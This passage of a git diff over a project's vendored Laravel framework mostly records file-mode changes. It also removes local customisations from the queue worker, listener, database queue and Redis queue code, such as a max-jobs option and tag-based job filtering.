b/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/SQLiteGrammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/SqlServerGrammar.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/SqlServerGrammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/MySqlBuilder.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/MySqlBuilder.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/PostgresBuilder.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/PostgresBuilder.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/SeedServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Database/SeedServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Seeder.php b/vendor/laravel/framework/src/Illuminate/Database/Seeder.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/SqlServerConnection.php b/vendor/laravel/framework/src/Illuminate/Database/SqlServerConnection.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/composer.json b/vendor/laravel/framework/src/Illuminate/Database/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php b/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Encryption/EncryptionServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Encryption/EncryptionServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Encryption/composer.json b/vendor/laravel/framework/src/Illuminate/Encryption/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php b/vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Events/EventServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Events/EventServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Events/composer.json b/vendor/laravel/framework/src/Illuminate/Events/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Foundation/AliasLoader.php b/vendor/laravel/framework/src/Illuminate/Foundation/AliasLoader.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Foundation/Application.php b/vendor/laravel/framework/src/Illuminate/Foundation/Application.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Foundation/Composer.php b/vendor/laravel/framework/src/Illuminate/Foundation/Composer.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Foundation/ProviderRepository.php b/vendor/laravel/framework/src/Illuminate/Foundation/ProviderRepository.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Foundation/Providers/ArtisanServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Foundation/Providers/ArtisanServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Foundation/Providers/ComposerServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Foundation/Providers/ComposerServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Foundation/Testing/TestCase.php b/vendor/laravel/framework/src/Illuminate/Foundation/Testing/TestCase.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php b/vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Hashing/HashServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Hashing/HashServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Hashing/composer.json b/vendor/laravel/framework/src/Illuminate/Hashing/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Http/JsonResponse.php b/vendor/laravel/framework/src/Illuminate/Http/JsonResponse.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Http/RedirectResponse.php b/vendor/laravel/framework/src/Illuminate/Http/RedirectResponse.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Http/Request.php b/vendor/laravel/framework/src/Illuminate/Http/Request.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Http/Response.php b/vendor/laravel/framework/src/Illuminate/Http/Response.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Http/composer.json b/vendor/laravel/framework/src/Illuminate/Http/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Log/Writer.php b/vendor/laravel/framework/src/Illuminate/Log/Writer.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Log/composer.json b/vendor/laravel/framework/src/Illuminate/Log/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Mail/MailServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Mail/MailServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Mail/Mailer.php b/vendor/laravel/framework/src/Illuminate/Mail/Mailer.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Mail/Message.php b/vendor/laravel/framework/src/Illuminate/Mail/Message.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Mail/composer.json b/vendor/laravel/framework/src/Illuminate/Mail/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Pagination/PaginationServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Pagination/PaginationServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Pagination/composer.json b/vendor/laravel/framework/src/Illuminate/Pagination/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/BeanstalkdQueue.php b/vendor/laravel/framework/src/Illuminate/Queue/BeanstalkdQueue.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Connectors/BeanstalkdConnector.php b/vendor/laravel/framework/src/Illuminate/Queue/Connectors/BeanstalkdConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Connectors/ConnectorInterface.php b/vendor/laravel/framework/src/Illuminate/Queue/Connectors/ConnectorInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Connectors/IronConnector.php b/vendor/laravel/framework/src/Illuminate/Queue/Connectors/IronConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Connectors/SqsConnector.php b/vendor/laravel/framework/src/Illuminate/Queue/Connectors/SqsConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Connectors/SyncConnector.php b/vendor/laravel/framework/src/Illuminate/Queue/Connectors/SyncConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Console/ListenCommand.php b/vendor/laravel/framework/src/Illuminate/Queue/Console/ListenCommand.php old mode 100644 new mode 100755 index 5f41cb7e..67de1d16 --- a/vendor/laravel/framework/src/Illuminate/Queue/Console/ListenCommand.php +++ b/vendor/laravel/framework/src/Illuminate/Queue/Console/ListenCommand.php @@ -103,8 +103,6 @@ protected function setListenerOptions() $this->listener->setMaxTries($this->option('tries')); - $this->listener->setWorkMaxJobs(intval($this->option('work-max-jobs'))); - $this->listener->setOutputHandler(function ($type, $line) { $this->output->write($line); }); @@ -141,8 +139,6 @@ protected function getOptions() ['sleep', null, InputOption::VALUE_OPTIONAL, 'Seconds to wait before checking queue for jobs', 3], ['tries', null, InputOption::VALUE_OPTIONAL, 'Number of times to attempt a job before logging it failed', 0], - - ['work-max-jobs', null, InputOption::VALUE_OPTIONAL, 'The maximum number of jobs to run for work', 0], ]; } } diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Console/SubscribeCommand.php b/vendor/laravel/framework/src/Illuminate/Queue/Console/SubscribeCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php b/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php old mode 100644 new mode 100755 index d4650d3d..586fa6ea --- a/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php +++ b/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php @@ -94,14 +94,12 @@ protected function runWorker($connection, $queue, $delay, $memory, $daemon = fal $this->laravel['Illuminate\Contracts\Debug\ExceptionHandler'] ); - $maxJobs = intval($this->option('max-jobs')); - if ($daemon || $maxJobs > 0) { + if ($daemon) { $this->worker->setCache($this->laravel['cache']->driver()); return $this->worker->daemon( $connection, $queue, $delay, $memory, - $this->option('sleep'), $this->option('tries'), - $maxJobs + $this->option('sleep'), $this->option('tries') ); } @@ -174,8 +172,6 @@ protected function getOptions() ['sleep', null, InputOption::VALUE_OPTIONAL, 'Number of seconds to sleep when no job is available', 3], ['tries', null, InputOption::VALUE_OPTIONAL, 'Number of times to attempt a job before logging it failed', 0], - - ['max-jobs', null, InputOption::VALUE_OPTIONAL, 'The maximum number of jobs to run', 100], ]; } } diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Console/stubs/jobs.stub b/vendor/laravel/framework/src/Illuminate/Queue/Console/stubs/jobs.stub index f58ad1eb..18666691 100644 --- a/vendor/laravel/framework/src/Illuminate/Queue/Console/stubs/jobs.stub +++ b/vendor/laravel/framework/src/Illuminate/Queue/Console/stubs/jobs.stub @@ -14,7 +14,7 @@ class Create{{tableClassName}}Table extends Migration { Schema::create('{{table}}', function (Blueprint $table) { $table->bigIncrements('id'); - $table->string('queue', 100); + $table->string('queue'); $table->longText('payload'); $table->tinyInteger('attempts')->unsigned(); $table->tinyInteger('reserved')->unsigned(); diff --git a/vendor/laravel/framework/src/Illuminate/Queue/DatabaseQueue.php b/vendor/laravel/framework/src/Illuminate/Queue/DatabaseQueue.php index 8d824961..7aa6db81 100644 --- a/vendor/laravel/framework/src/Illuminate/Queue/DatabaseQueue.php +++ b/vendor/laravel/framework/src/Illuminate/Queue/DatabaseQueue.php @@ -8,7 +8,6 @@ use Illuminate\Queue\Jobs\DatabaseJob; use Illuminate\Database\Query\Expression; use Illuminate\Contracts\Queue\Queue as QueueContract; -use Illuminate\Support\Facades\DB; class DatabaseQueue extends Queue implements QueueContract { @@ -43,10 +42,10 @@ class DatabaseQueue extends Queue implements QueueContract /** * Create a new database queue instance. * - * @param \Illuminate\Database\Connection $database - * @param string $table - * @param string $default - * @param int $expire + * @param \Illuminate\Database\Connection $database + * @param string $table + * @param string $default + * @param int $expire * @return void */ public function __construct(Connection $database, $table, $default = 'default', $expire = 60) @@ -60,9 +59,9 @@ public function __construct(Connection $database, $table, $default = 'default', /** * Push a new job onto the queue. * - * @param string $job - * @param mixed $data - * @param string $queue + * @param string $job + * @param mixed $data + * @param string $queue * @return mixed */ public function push($job, $data = '', $queue = null) @@ -73,9 +72,9 @@ public function push($job, $data = '', $queue = null) /** * Push a raw payload onto the queue. * - * @param string $payload - * @param string $queue - * @param array $options + * @param string $payload + * @param string $queue + * @param array $options * @return mixed */ public function pushRaw($payload, $queue = null, array $options = []) @@ -86,10 +85,10 @@ public function pushRaw($payload, $queue = null, array $options = []) /** * Push a new job onto the queue after a delay. * - * @param \DateTime|int $delay - * @param string $job - * @param mixed $data - * @param string $queue + * @param \DateTime|int $delay + * @param string $job + * @param mixed $data + * @param string $queue * @return void */ public function later($delay, $job, $data = '', $queue = null) @@ -100,9 +99,9 @@ public function later($delay, $job, $data = '', $queue = null) /** * Push an array of jobs onto the queue. * - * @param array $jobs - * @param mixed $data - * @param string $queue + * @param array $jobs + * @param mixed $data + * @param string $queue * @return mixed */ public function bulk($jobs, $data = '', $queue = null) @@ -115,7 +114,7 @@ public function bulk($jobs, $data = '', $queue = null) return $this->buildDatabaseRecord( $queue, $this->createPayload($job, $data), $availableAt ); - }, (array)$jobs); + }, (array) $jobs); return $this->database->table($this->table)->insert($records); } @@ -123,9 +122,9 @@ public function bulk($jobs, $data = '', $queue = null) /** * Release a reserved job back onto the queue. * - * @param string $queue - * @param \StdClass $job - * @param int $delay + * @param string $queue + * @param \StdClass $job + * @param int $delay * @return mixed */ public function release($queue, $job, $delay) @@ -136,10 +135,10 @@ public function release($queue, $job, $delay) /** * Push a raw payload to the database with a given delay. * - * @param \DateTime|int $delay - * @param string|null $queue - * @param string $payload - * @param int $attempts + * @param \DateTime|int $delay + * @param string|null $queue + * @param string $payload + * @param int $attempts * @return mixed */ protected function pushToDatabase($delay, $queue, $payload, $attempts = 0) @@ -148,30 +147,20 @@ protected function pushToDatabase($delay, $queue, $payload, $attempts = 0) $this->getQueue($queue), $payload, $this->getAvailableAt($delay), $attempts ); - if (config('env.QUEUE_DATABASE_TAG_ENABLE', false)) { - if ('database' == config('queue.default')) { - if (($payload = @json_decode($payload, true)) - && ($job = @unserialize($payload['data']['command'])) - && property_exists($job, 'queueTag')) { - $attributes['tag'] = $job->queueTag; - } - } - } - return $this->database->table($this->table)->insertGetId($attributes); } /** * Pop the next job off of the queue. * - * @param string $queue + * @param string $queue * @return \Illuminate\Contracts\Queue\Job|null */ public function pop($queue = null) { $queue = $this->getQueue($queue); - if (!is_null($this->expire)) { + if (! is_null($this->expire)) { $this->releaseJobsThatHaveBeenReservedTooLong($queue); } @@ -185,85 +174,55 @@ public function pop($queue = null) ); } - // $this->database->commit(); + $this->database->commit(); } /** * Release the jobs that have been reserved for too long. * - * @param string $queue + * @param string $queue * @return void */ protected function releaseJobsThatHaveBeenReservedTooLong($queue) { $expired = Carbon::now()->subSeconds($this->expire)->getTimestamp(); - $records = $this->database->table($this->table) - ->where('queue', $this->getQueue($queue)) - ->where('reserved', 1) - ->where('reserved_at', '<=', $expired) - ->get(); - - foreach ($records as $record) { - $this->database->table($this->table) - ->where('id', $record->id) - ->update([ - 'reserved' => 0, - 'reserved_at' => null, - 'attempts' => new Expression('attempts + 1'), - ]); - } -// $this->database->table($this->table) -// ->where('queue', $this->getQueue($queue)) -// ->where('reserved', 1) -// ->where('reserved_at', '<=', $expired) -// ->update([ -// 'reserved' => 0, -// 'reserved_at' => null, -// 'attempts' => new Expression('attempts + 1'), -// ]); + $this->database->table($this->table) + ->where('queue', $this->getQueue($queue)) + ->where('reserved', 1) + ->where('reserved_at', '<=', $expired) + ->update([ + 'reserved' => 0, + 'reserved_at' => null, + 'attempts' => new Expression('attempts + 1'), + ]); } /** * Get the next available job for the queue. * - * @param string|null $queue + * @param string|null $queue * @return \StdClass|null */ protected function getNextAvailableJob($queue) { - $query = $this->database->table($this->table) - // ->lockForUpdate() - ->where('queue', $this->getQueue($queue)) - ->where('reserved', 0) - ->where('available_at', '<=', $this->getTime()) - ->orderBy('id', 'asc'); - if ($tags = config('env.QUEUE_DATABASE_TAGS', null)) { - $query = $query->whereRaw(DB::raw("( FIND_IN_SET( tag, '{$tags}' ) OR ( tag = '' ) OR ( tag IS NULL ) ) ")); - } - $job = $query->first(); + $this->database->beginTransaction(); - if (empty($job)) { - return null; - } + $job = $this->database->table($this->table) + ->lockForUpdate() + ->where('queue', $this->getQueue($queue)) + ->where('reserved', 0) + ->where('available_at', '<=', $this->getTime()) + ->orderBy('id', 'asc') + ->first(); - $this->database->beginTransaction(); - $job = $this->database->table($this->table)->lockForUpdate()->where('id', $job->id)->first(); - if (empty($job)) { - $this->database->commit(); - return null; - } - if (0 == $job->reserved) { - return (object)$job; - } - $this->database->commit(); - return null; + return $job ? (object) $job : null; } /** * Mark the given job ID as reserved. * - * @param string $id + * @param string $id * @return void */ protected function markJobAsReserved($id) @@ -276,8 +235,8 @@ protected function markJobAsReserved($id) /** * Delete a reserved job from the queue. * - * @param string $queue - * @param string $id + * @param string $queue + * @param string $id * @return void */ public function deleteReserved($queue, $id) @@ -288,7 +247,7 @@ public function deleteReserved($queue, $id) /** * Get the "available at" UNIX timestamp. * - * @param \DateTime|int $delay + * @param \DateTime|int $delay * @return int */ protected function getAvailableAt($delay) @@ -301,10 +260,10 @@ protected function getAvailableAt($delay) /** * Create an array to insert for the given job. * - * @param string|null $queue - * @param string $payload - * @param int $availableAt - * @param int $attempts + * @param string|null $queue + * @param string $payload + * @param int $availableAt + * @param int $attempts * @return array */ protected function buildDatabaseRecord($queue, $payload, $availableAt, $attempts = 0) @@ -323,7 +282,7 @@ protected function buildDatabaseRecord($queue, $payload, $availableAt, $attempts /** * Get the queue or return the default. * - * @param string|null $queue + * @param string|null $queue * @return string */ protected function getQueue($queue) @@ -354,7 +313,7 @@ public function getExpire() /** * Set the expiration time in seconds. * - * @param int|null $seconds + * @param int|null $seconds * @return void */ public function setExpire($seconds) diff --git a/vendor/laravel/framework/src/Illuminate/Queue/IlluminateQueueClosure.php b/vendor/laravel/framework/src/Illuminate/Queue/IlluminateQueueClosure.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/IronQueue.php b/vendor/laravel/framework/src/Illuminate/Queue/IronQueue.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Jobs/BeanstalkdJob.php b/vendor/laravel/framework/src/Illuminate/Queue/Jobs/BeanstalkdJob.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Jobs/IronJob.php b/vendor/laravel/framework/src/Illuminate/Queue/Jobs/IronJob.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php b/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Jobs/SqsJob.php b/vendor/laravel/framework/src/Illuminate/Queue/Jobs/SqsJob.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Jobs/SyncJob.php b/vendor/laravel/framework/src/Illuminate/Queue/Jobs/SyncJob.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Listener.php b/vendor/laravel/framework/src/Illuminate/Queue/Listener.php old mode 100644 new mode 100755 index 65d4bf2c..b19d46c4 --- a/vendor/laravel/framework/src/Illuminate/Queue/Listener.php +++ b/vendor/laravel/framework/src/Illuminate/Queue/Listener.php @@ -37,9 +37,6 @@ class Listener */ protected $maxTries = 0; - - protected $workMaxJobs = 0; - /** * The queue worker command line. * @@ -164,10 +161,6 @@ public function makeProcess($connection, $queue, $delay, $memory, $timeout) $this->maxTries ); - if($this->workMaxJobs>0){ - $command .= " --max-jobs={$this->workMaxJobs}"; - } - return new Process($command, $this->commandPath, null, null, $timeout); } @@ -269,13 +262,4 @@ public function setMaxTries($tries) { $this->maxTries = $tries; } - - /** - * @param int $workMaxJobs - */ - public function setWorkMaxJobs($workMaxJobs) - { - $this->workMaxJobs = $workMaxJobs; - } - } diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Queue.php b/vendor/laravel/framework/src/Illuminate/Queue/Queue.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php b/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/QueueServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Queue/QueueServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/RedisQueue.php b/vendor/laravel/framework/src/Illuminate/Queue/RedisQueue.php index e6f24ff9..acd36ab2 100644 --- a/vendor/laravel/framework/src/Illuminate/Queue/RedisQueue.php +++ b/vendor/laravel/framework/src/Illuminate/Queue/RedisQueue.php @@ -176,19 +176,6 @@ protected function migrateAllExpiredJobs($queue) */ public function migrateExpiredJobs($from, $to) { - $script = " -local val = redis.call('zrangebyscore', KEYS[1], '-inf', ARGV[1], 'limit', 0, ARGV[2]) -if(next(val) ~= nil) then - redis.call('zremrangebyrank', KEYS[1], 0, #val - 1) - for i = 1, #val, 100 do - redis.call('rpush', KEYS[2], unpack(val, i, math.min(i+99, #val))) - end -end -return val -"; - $this->getConnection()->eval($script, 2, $from, $to, time(), 100); - - /* $options = ['cas' => true, 'watch' => $from, 'retry' => 10]; $this->getConnection()->transaction($options, function ($transaction) use ($from, $to) { @@ -208,7 +195,6 @@ public function migrateExpiredJobs($from, $to) $this->pushExpiredJobsOntoNewQueue($transaction, $to, $jobs); } }); - */ } /** diff --git a/vendor/laravel/framework/src/Illuminate/Queue/SqsQueue.php b/vendor/laravel/framework/src/Illuminate/Queue/SqsQueue.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/SyncQueue.php b/vendor/laravel/framework/src/Illuminate/Queue/SyncQueue.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Queue/Worker.php b/vendor/laravel/framework/src/Illuminate/Queue/Worker.php old mode 100644 new mode 100755 index ed2e8570..47bfc097 --- a/vendor/laravel/framework/src/Illuminate/Queue/Worker.php +++ b/vendor/laravel/framework/src/Illuminate/Queue/Worker.php @@ -76,11 +76,10 @@ public function __construct(QueueManager $manager, * @param int $maxTries * @return array */ - public function daemon($connectionName, $queue = null, $delay = 0, $memory = 128, $sleep = 3, $maxTries = 0, $maxJobs =0) + public function daemon($connectionName, $queue = null, $delay = 0, $memory = 128, $sleep = 3, $maxTries = 0) { $lastRestart = $this->getTimestampOfLastQueueRestart(); - $jobIndex = 0; while (true) { if ($this->daemonShouldRun()) { $this->runNextJobForDaemon( @@ -90,11 +89,6 @@ public function daemon($connectionName, $queue = null, $delay = 0, $memory = 128 $this->sleep($sleep); } - $jobIndex++; - if($maxJobs>0 && $jobIndex>=$maxJobs){ - $this->stop(); - } - if ($this->memoryExceeded($memory) || $this->queueShouldRestart($lastRestart)) { $this->stop(); } diff --git a/vendor/laravel/framework/src/Illuminate/Queue/composer.json b/vendor/laravel/framework/src/Illuminate/Queue/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Redis/Database.php b/vendor/laravel/framework/src/Illuminate/Redis/Database.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Redis/RedisServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Redis/RedisServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Redis/composer.json b/vendor/laravel/framework/src/Illuminate/Redis/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Routing/Console/ControllerMakeCommand.php b/vendor/laravel/framework/src/Illuminate/Routing/Console/ControllerMakeCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Routing/Redirector.php b/vendor/laravel/framework/src/Illuminate/Routing/Redirector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Routing/Route.php b/vendor/laravel/framework/src/Illuminate/Routing/Route.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Routing/Router.php b/vendor/laravel/framework/src/Illuminate/Routing/Router.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Routing/RoutingServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Routing/RoutingServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Routing/UrlGenerator.php b/vendor/laravel/framework/src/Illuminate/Routing/UrlGenerator.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Routing/composer.json b/vendor/laravel/framework/src/Illuminate/Routing/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/CacheBasedSessionHandler.php b/vendor/laravel/framework/src/Illuminate/Session/CacheBasedSessionHandler.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/CommandsServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Session/CommandsServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/Console/stubs/database.stub b/vendor/laravel/framework/src/Illuminate/Session/Console/stubs/database.stub old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/CookieSessionHandler.php b/vendor/laravel/framework/src/Illuminate/Session/CookieSessionHandler.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/SessionManager.php b/vendor/laravel/framework/src/Illuminate/Session/SessionManager.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/SessionServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Session/SessionServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/Store.php b/vendor/laravel/framework/src/Illuminate/Session/Store.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/TokenMismatchException.php b/vendor/laravel/framework/src/Illuminate/Session/TokenMismatchException.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Session/composer.json b/vendor/laravel/framework/src/Illuminate/Session/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Arr.php b/vendor/laravel/framework/src/Illuminate/Support/Arr.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Collection.php b/vendor/laravel/framework/src/Illuminate/Support/Collection.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/App.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/App.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Artisan.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Artisan.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Auth.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Auth.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Blade.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Blade.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Cache.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Cache.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Config.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Config.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Cookie.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Cookie.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Crypt.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Crypt.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/DB.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/DB.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Event.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Event.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/File.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/File.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Hash.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Hash.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Input.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Input.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Lang.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Lang.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Log.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Log.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Mail.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Mail.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Password.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Queue.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Queue.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Redirect.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Redirect.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Redis.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Redis.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Request.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Request.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Response.php b/vendor/laravel/framework/src/Illuminate/Support/Facades/Response.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Support/Facades/Route.php 